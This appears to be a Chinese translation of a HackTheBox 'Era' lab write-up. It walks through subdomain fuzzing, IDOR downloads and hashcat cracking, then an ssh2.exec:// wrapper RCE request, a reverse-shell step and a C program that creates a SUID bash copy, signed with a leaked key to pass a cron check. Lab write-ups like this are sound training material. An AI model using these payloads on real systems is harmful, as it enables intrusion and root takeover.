HTB:Era靶机技术解析 - 从IDOR到PHP SSH2模块RCE再到ELF签名绕过

本文详细记录了从信息收集到最终获取root权限的全过程,涉及子域名爆破、IDOR漏洞利用、PHP源码审计、hashcat密码破解、SSH2模块远程代码执行,以及通过ELF二进制签名绕过实现权限提升。

HTB: Era

简介

Era是一台中等难度的Linux靶机,其攻击路径涉及一个存在多处IDOR(不安全的直接对象引用)漏洞的自定义文件上传网站。通过利用这些漏洞,攻击者可以下载网站备份,进而获得管理员访问权限。管理员面板存在一个PHP漏洞,可利用SSH2模块在主机上执行命令并获得反向shell。最后,通过创建一个经过签名的二进制文件来替换一个可以通过sudo运行的二进制文件,从而获得root权限。

信息收集

初始扫描

使用nmap扫描发现两个开放的TCP端口:FTP (21) 和 HTTP (80)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.79
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-27 21:04 UTC
...[snip]...
Nmap scan report for 10.10.11.79
Host is up, received echo-reply ttl 63 (0.092s latency).
Scanned at 2025-07-27 21:04:04 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

根据nginx版本,主机很可能运行Ubuntu 20.04。两个端口显示TTL为63,这与预期的一跳之外的Linux TTL匹配。Web服务器返回重定向到era.htb

FTP - TCP 21

尝试匿名登录失败:

1
2
3
4
5
6
7
oxdf@hacky$ ftp anonymous@10.10.11.79
Connected to 10.10.11.79.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed

子域名爆破

使用ffufera.htb进行子域名爆破,发现一个额外的子域名file.era.htb

1
2
3
oxdf@hacky$ ffuf -u http://10.10.11.79 -H "Host: FUZZ.era.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
...[snip]...
file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 97ms]

era.htb - TCP 80

该网站是一个室内设计公司的静态网站,没有发现明显功能点。使用feroxbuster进行目录扫描,只发现静态资源目录。

file.era.htb

该网站提供文件托管服务,包含登录、注册和“使用安全问题登录”功能。网站使用PHP构建。

获取Shell(用户eric)

文件ID暴力破解 - IDOR

通过已认证会话,使用ffuf暴力破解文件ID,发现可以访问其他用户的文件(ID 54和150),存在IDOR漏洞。

1
2
3
oxdf@hacky$ ffuf -u http://file.era.htb/download.php?id=FUZZ -H "Cookie: PHPSESSID=ij2qg02sdtnrud04f7qplv3dcm" -w <( seq 0 5100) -fr 'File Not Found'
54                      [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 94ms]
150                     [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 94ms]

下载文件ID 54,得到一个包含加密文件(key.pemx509.genkey)的signing.zip压缩包。

网站源码分析

从备份文件中获得网站源码,关键文件分析:

  • reset.php:存在漏洞,允许任何用户通过输入用户名更新其他用户的安全问题。
  • download.php:存在特殊分支,当用户ID(erauser)为1(管理员)且参数show=true时,可以传递format参数,该参数被用作协议包装器通过fopen获取文件,存在潜在风险。
  • login.php:确认用户ID存储在会话的erauser变量中。

数据库分析

SQLite数据库filedb.sqlite包含users表,其中用户ID 1的用户名为admin_ef01cab31aa

破解哈希

使用hashcat破解用户密码哈希,成功破解ericyuri的密码:

1
2
3
$ hashcat --user filedb.hashes --show -m 3200
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang

FTP访问

使用yuri:mustang成功登录FTP,发现php8.1_conf目录包含ssh2.so等PHP扩展模块。

远程代码执行(RCE)

  1. 获取管理员访问权限:利用reset.php中的漏洞,更新admin_ef01cab31aa的安全问题,并以管理员身份登录。
  2. SSH2模块RCE:在管理员面板中,上传文件并利用download.php中的format参数,结合PHP SSH2模块的ssh2.exec://包装器执行命令。构造如下请求实现命令执行(例如ping):
    1
    
    /download.php?id=7964&show=true&format=ssh2.exec://yuri:mustang@localhost:22/ping+-c+1+10.10.14.6%23
    
  3. 获取反向Shell:通过执行bash反向shell命令获得初始shell访问权限,并升级为完全交互式shell。

权限提升(Root)

枚举

  • 用户eric属于devs组。
  • /opt/AV/periodic-checks/目录下发现名为monitor的ELF二进制文件和status.log日志文件,其修改时间每分钟更新,暗示存在cron任务。
  • 使用pspy监控进程,发现cron每分钟运行/root/initiate_monitoring.sh脚本,该脚本使用objcopy提取monitor二进制文件的.text_sig节,然后运行monitor

monitor签名验证

.text_sig节包含PKCS#7/CMS数字签名。cron脚本会验证二进制文件的签名,如果签名无效则拒绝执行并记录错误。

1
[ERROR] Executable not signed. Tampering attempt detected. Skipping.

利用

  1. 分析签名机制:通过搜索发现linux-elf-binary-signer项目,该项目可以向ELF二进制文件添加自定义的.text_sig签名节。之前通过IDOR获得的signing.zip中的x509.genkey文件与该项目示例匹配,key.pem是私钥。
  2. 创建恶意二进制:编写一个C程序,编译后生成能创建SetUID/SetGID bash副本的二进制文件。
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    #include <unistd.h>
    #include <stdlib.h>
    #include <stdio.h>
    
    int main(void){
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        system("cp /bin/bash /tmp/0xdf && chmod 6777 /tmp/0xdf");
    }
    
  3. 签名二进制:在Ubuntu 20.04 Docker容器中使用linux-elf-binary-signer和获得的私钥对编译后的二进制进行签名。
    1
    
    /linux-elf-binary-signer/elf-sign sha256 key.pem key.pem exploit monitor
    
  4. 替换与执行:将签名后的monitor二进制文件上传到靶机,替换原有的/opt/AV/periodic-checks/monitor。等待cron任务执行后,在/tmp/目录下生成SetUID/SetGID的bash副本0xdf
  5. 获取Root Shell:运行/tmp/0xdf -p获得root权限的shell,并读取root.txt
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计